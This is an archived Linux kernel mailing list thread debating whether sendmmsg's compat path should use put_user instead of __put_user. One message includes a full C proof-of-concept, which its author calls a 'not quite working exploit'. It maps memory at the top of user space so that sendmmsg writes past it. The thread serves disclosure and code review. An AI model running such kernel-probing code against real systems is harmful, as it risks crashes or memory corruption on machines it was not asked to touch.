* sendmmsg: put_user vs __put_user @ 2012-03-30 13:36 Ulrich Drepper 2012-03-31 0:51 ` David Miller 0 siblings, 1 reply; 6+ messages in thread From: Ulrich Drepper @ 2012-03-30 13:36 UTC (permalink / raw) To: David S. Miller, netdev, Linux Kernel Mailing List Shouldn't the compat code in the sendmmsg implementation use the same code as the normal code? In which case you probably want something like this: diff --git a/net/socket.c b/net/socket.c index 484cc69..ff40409 100644 --- a/net/socket.c +++ b/net/socket.c @@ -2064,7 +2064,7 @@ int __sys_sendmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, &msg_sys, flags, &used_address); if (err < 0) break; - err = __put_user(err, &compat_entry->msg_len); + err = put_user(err, &compat_entry->msg_len); ++compat_entry; } else { err = __sys_sendmsg(sock, (struct msghdr __user *)entry, ^ permalink raw reply related [flat|nested] 6+ messages in thread
* Re: sendmmsg: put_user vs __put_user 2012-03-30 13:36 sendmmsg: put_user vs __put_user Ulrich Drepper @ 2012-03-31 0:51 ` David Miller 2012-03-31 12:30 ` Ulrich Drepper 2012-04-06 0:14 ` Andy Lutomirski 0 siblings, 2 replies; 6+ messages in thread From: David Miller @ 2012-03-31 0:51 UTC (permalink / raw) To: drepper; +Cc: netdev, linux-kernel From: Ulrich Drepper <drepper@gmail.com> Date: Fri, 30 Mar 2012 09:36:11 -0400 > Shouldn't the compat code in the sendmmsg implementation use the same > code as the normal code? In which case you probably want something > like this: Compat processes are not able to generate virtual addresses anywhere near the range where the kernel resides, so the address range verification done by put_user() is completely superfluous and therefore not necessary. The normal exception handling done by the access is completely sufficient. ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: sendmmsg: put_user vs __put_user 2012-03-31 0:51 ` David Miller @ 2012-03-31 12:30 ` Ulrich Drepper 2012-03-31 21:27 ` David Miller 2012-04-06 0:14 ` Andy Lutomirski 1 sibling, 1 reply; 6+ messages in thread From: Ulrich Drepper @ 2012-03-31 12:30 UTC (permalink / raw) To: David Miller; +Cc: netdev, linux-kernel On Fri, Mar 30, 2012 at 20:51, David Miller <davem@davemloft.net> wrote: > Compat processes are not able to generate virtual addresses anywhere > near the range where the kernel resides, so the address range > verification done by put_user() is completely superfluous and > therefore not necessary. The normal exception handling done by the > access is completely sufficient. I was more thinking about the effects of might_fault() then additional tests. ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: sendmmsg: put_user vs __put_user 2012-03-31 12:30 ` Ulrich Drepper @ 2012-03-31 21:27 ` David Miller 0 siblings, 0 replies; 6+ messages in thread From: David Miller @ 2012-03-31 21:27 UTC (permalink / raw) To: drepper; +Cc: netdev, linux-kernel From: Ulrich Drepper <drepper@gmail.com> Date: Sat, 31 Mar 2012 08:30:25 -0400 > On Fri, Mar 30, 2012 at 20:51, David Miller <davem@davemloft.net> wrote: >> Compat processes are not able to generate virtual addresses anywhere >> near the range where the kernel resides, so the address range >> verification done by put_user() is completely superfluous and >> therefore not necessary. The normal exception handling done by the >> access is completely sufficient. > > I was more thinking about the effects of might_fault() then additional tests. This is very clearly in a context where locks are not held and sleeping would be fine, so I don't see any value in that either. ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: sendmmsg: put_user vs __put_user 2012-03-31 0:51 ` David Miller 2012-03-31 12:30 ` Ulrich Drepper @ 2012-04-06 0:14 ` Andy Lutomirski 2012-04-06 1:01 ` David Miller 1 sibling, 1 reply; 6+ messages in thread From: Andy Lutomirski @ 2012-04-06 0:14 UTC (permalink / raw) To: David Miller; +Cc: drepper, netdev, linux-kernel On 03/30/2012 05:51 PM, David Miller wrote: > From: Ulrich Drepper <drepper@gmail.com> > Date: Fri, 30 Mar 2012 09:36:11 -0400 > >> Shouldn't the compat code in the sendmmsg implementation use the same >> code as the normal code? In which case you probably want something >> like this: > > Compat processes are not able to generate virtual addresses anywhere > near the range where the kernel resides, so the address range > verification done by put_user() is completely superfluous and > therefore not necessary. The normal exception handling done by the > access is completely sufficient. I disagree. The following exploit causes a bogus page fault to a kernel address. I think this isn't exploitable right now on x86-64 because the page fault handler fixes it up, but I wouldn't be surprised if this crashes or at least warns on some architecture. (Actually trashing kernel memory is probably impossible with this on x86-64 chips because this can only overrun user space by four bytes, and there's a giant gap of impossible addresses above user space in x86-64. Compile as 64 bit code. Tested by instrumenting the page fault handler. /* Not quite working exploit. Copyright (c) 2012 Andy Lutomirski. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <string.h> #include <sys/mman.h> #include <syscall.h> #include <stdio.h> #define COMPAT_MSGHDR_SIZE 28 #define TASK_SIZE_MAX ((1UL << 47) - 4096) #define MSG_CMSG_COMPAT 0x80000000 int main() { int s; struct sockaddr_in addr; struct msghdr *hdr; char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if (highpage == MAP_FAILED) { perror("mmap"); return 1; } s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (s == -1) { perror("socket"); return 1; } addr.sin_family = AF_INET; addr.sin_port = htons(1); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0) { perror("connect"); return 1; } void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE; printf("Evil address is %p\n", evil); // Purely for illustration. if (sendmsg(s, evil, MSG_CMSG_COMPAT) < 0) { perror("sendmsg"); return 1; } memset(highpage, 0, 4096); { int tmp; socklen_t sz; getsockopt(s, SOL_SOCKET, SO_ERROR, &tmp, &sz); } if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0) { perror("sendmmsg"); return 1; } return 0; } ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: sendmmsg: put_user vs __put_user 2012-04-06 0:14 ` Andy Lutomirski @ 2012-04-06 1:01 ` David Miller 0 siblings, 0 replies; 6+ messages in thread From: David Miller @ 2012-04-06 1:01 UTC (permalink / raw) To: luto; +Cc: drepper, netdev, linux-kernel From: Andy Lutomirski <luto@mit.edu> Date: Thu, 05 Apr 2012 17:14:25 -0700 > On 03/30/2012 05:51 PM, David Miller wrote: >> From: Ulrich Drepper <drepper@gmail.com> >> Date: Fri, 30 Mar 2012 09:36:11 -0400 >> >>> Shouldn't the compat code in the sendmmsg implementation use the same >>> code as the normal code? In which case you probably want something >>> like this: >> >> Compat processes are not able to generate virtual addresses anywhere >> near the range where the kernel resides, so the address range >> verification done by put_user() is completely superfluous and >> therefore not necessary. The normal exception handling done by the >> access is completely sufficient. > > I disagree. The following exploit causes a bogus page fault to a kernel > address. I think this isn't exploitable right now on x86-64 because the > page fault handler fixes it up, but I wouldn't be surprised if this > crashes or at least warns on some architecture. (Actually trashing > kernel memory is probably impossible with this on x86-64 chips because > this can only overrun user space by four bytes, and there's a giant gap > of impossible addresses above user space in x86-64. I can guarentee this doesn't do anything on sparc64 either because userspace is completely segregated from kernel space in a way that every single foo_user() call cannot access kernel space no matter what address it can trick into being passed there. I still really don't see an issue with this, sorry. ^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2012-04-06 1:01 UTC | newest] Thread overview: 6+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2012-03-30 13:36 sendmmsg: put_user vs __put_user Ulrich Drepper 2012-03-31 0:51 ` David Miller 2012-03-31 12:30 ` Ulrich Drepper 2012-03-31 21:27 ` David Miller 2012-04-06 0:14 ` Andy Lutomirski 2012-04-06 1:01 ` David Miller
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).